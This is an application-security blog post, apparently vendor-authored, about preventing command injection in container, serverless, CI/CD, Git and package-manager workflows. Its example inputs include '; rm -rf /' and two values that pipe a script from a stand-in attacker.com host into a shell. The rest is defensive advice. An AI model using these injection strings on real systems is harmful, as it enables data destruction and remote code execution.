AppSec

Modern Command Injection Prevention: Beyond the Basics

Command injection remains in the OWASP Top 10 because developers keep making the same mistakes with new tools. Here is a modern prevention guide covering containers, serverless, and CI/CD.

Nayan Dey
DevSecOps Engineer
6 min read

Command injection has been on security checklists since the 1990s. You would think that by 2023, the problem would be solved. It is not. The patterns have shifted from CGI scripts calling system commands to modern applications spawning subprocesses for PDF generation, image processing, Git operations, and container management. The vulnerability class is the same, but the attack surface has changed.

This guide covers command injection prevention in the context of how software is actually built today, not how it was built in 2005.

Why Command Injection Persists

The root cause of command injection is passing untrusted input to a system shell for interpretation. When a developer writes exec("git clone " + userInput), the shell interprets the entire string, and an attacker who supplies ; rm -rf / as the input gets arbitrary command execution.

The reason this persists despite decades of awareness comes down to a few patterns:

Convenience over safety. Shell commands are the fastest way to accomplish many tasks. Need to convert an image? exec("convert " + filename + " output.png"). Need to generate a PDF? exec("wkhtmltopdf " + url + " output.pdf"). Need to run a Git operation? exec("git " + operation + " " + args). Developers reach for shell commands because they work, and the security implications are not immediately obvious.

Library gaps. Not every system utility has a corresponding library in every language. When there is no native library for a task, developers shell out. This is especially common for operations involving system utilities, media processing, and infrastructure management.

Template and configuration injection. Modern applications use templates (Jinja2, Handlebars, ERB) and configuration files (YAML, TOML, JSON) that may be processed by tools that interpret special characters. Injection through these channels is less obvious than classic shell injection.

Modern Attack Vectors

Container Runtime Injection

Applications that manage containers often construct Docker or Kubernetes commands dynamically. A CI/CD tool that allows users to specify a container image name might construct: docker pull userSpecifiedImage. An attacker who supplies malicious; curl attacker.com/exfil | sh as the image name achieves command execution on the host.

This is not theoretical. Multiple CI/CD platforms have had command injection vulnerabilities through container image name fields, build arguments, and environment variable specifications.

Serverless Function Injection

Serverless functions that shell out to system utilities carry the same command injection risks as traditional applications, with the added concern that the execution environment is shared infrastructure. A command injection in a Lambda function might give an attacker access to temporary credentials, environment variables containing secrets, or the function's IAM role.

The patterns are identical: exec("ffmpeg -i " + inputFile + " " + outputFile) in a media processing Lambda, or exec("pdftk " + inputPdf + " output " + outputPdf) in a document processing function.

CI/CD Pipeline Injection

CI/CD pipelines are particularly vulnerable because they combine user-controlled inputs (branch names, commit messages, pull request titles) with shell command execution. GitHub Actions, GitLab CI, Jenkins, and other platforms all execute user-defined scripts in shell contexts.

A common vulnerability pattern: a pipeline step that uses the pull request title in a shell command. An attacker who creates a PR titled "; curl attacker.com/shell.sh | bash # gets command execution in the CI environment.

Git Operation Injection

Applications that perform Git operations (code review tools, deployment platforms, documentation generators) often construct Git commands from user input. Repository names, branch names, tag names, and commit messages can all be injection vectors if passed to shell commands without sanitization.

Package Manager Injection

Build systems that invoke package managers with user-controlled inputs can be vulnerable. A configuration that specifies npm install userSpecifiedPackage or pip install userSpecifiedRequirement might allow injection through crafted package names or version specifiers.

Prevention Techniques

Use Subprocess APIs Without Shell Interpretation

Every major language provides subprocess APIs that bypass shell interpretation:

Node.js: Use child_process.execFile() or child_process.spawn() instead of child_process.exec(). The exec function passes the command to a shell. execFile and spawn execute the command directly without shell interpretation.

Python: Use subprocess.run() with a list argument instead of a string: subprocess.run(["git", "clone", url]) instead of subprocess.run("git clone " + url, shell=True).

Go: The os/exec package does not use a shell by default. exec.Command("git", "clone", url) is safe.

Java: Use ProcessBuilder with separate arguments: new ProcessBuilder("git", "clone", url) instead of Runtime.exec("git clone " + url).

The key principle: pass the command and arguments as separate elements, not as a single string that a shell will parse.

Input Validation and Sanitization

When shell execution is unavoidable, validate inputs strictly:

  • Allowlist characters. For filenames, allow only alphanumeric characters, hyphens, underscores, and periods. Reject everything else.
  • Reject shell metacharacters. Characters that have special meaning in shells include: ; | & $ ` ( ) { } [ ] < > ! # ~ * ? \ " ' and newlines.
  • Validate against expected patterns. A Git branch name should match ^[a-zA-Z0-9._/-]+$. A container image name should match a specific registry format.

Sandbox Execution

When you must execute commands with partially trusted input, sandbox the execution:

  • Containers. Run the command in an ephemeral container with minimal privileges and no network access.
  • Seccomp profiles. Restrict the system calls available to the subprocess.
  • AppArmor/SELinux profiles. Restrict file system and network access for the subprocess.
  • Filesystem isolation. Mount only the directories the command needs, read-only where possible.

CI/CD Pipeline Hardening

For CI/CD pipelines specifically:

  • Never use user-controlled values (PR titles, branch names, commit messages) directly in shell commands
  • Use intermediate environment variables and reference them with proper quoting
  • Pin action versions to specific commit SHAs rather than mutable tags
  • Use dedicated steps for user-input handling that validate and sanitize before passing to subsequent steps
  • Configure pipelines to run with minimal permissions

Static Analysis for Command Injection

Configure SAST tools to flag:

  • All calls to shell execution functions (exec, system, popen, etc.)
  • Shell execution with string concatenation or interpolation in the command
  • Shell execution with shell=True (Python) or equivalent flags
  • Template rendering that feeds into shell commands

Dependency Awareness

Some command injection vulnerabilities come from dependencies, not your code. Libraries that internally shell out to system utilities may pass your application's input to those commands. Review dependencies that interact with the file system, network, or external tools for command injection patterns.

How Safeguard.sh Helps

Safeguard.sh scans your dependency tree for known command injection vulnerabilities in third-party packages, ensuring that libraries with disclosed injection flaws are flagged and remediated. By tracking your complete software bill of materials and monitoring for new CVEs, Safeguard catches command injection vulnerabilities in your supply chain before they become exploitable in your application. Policy gates can block deployments that include packages with known injection vulnerabilities, adding a safety net beyond your own code review process.

Never miss an update

Weekly insights on software supply chain security, delivered to your inbox.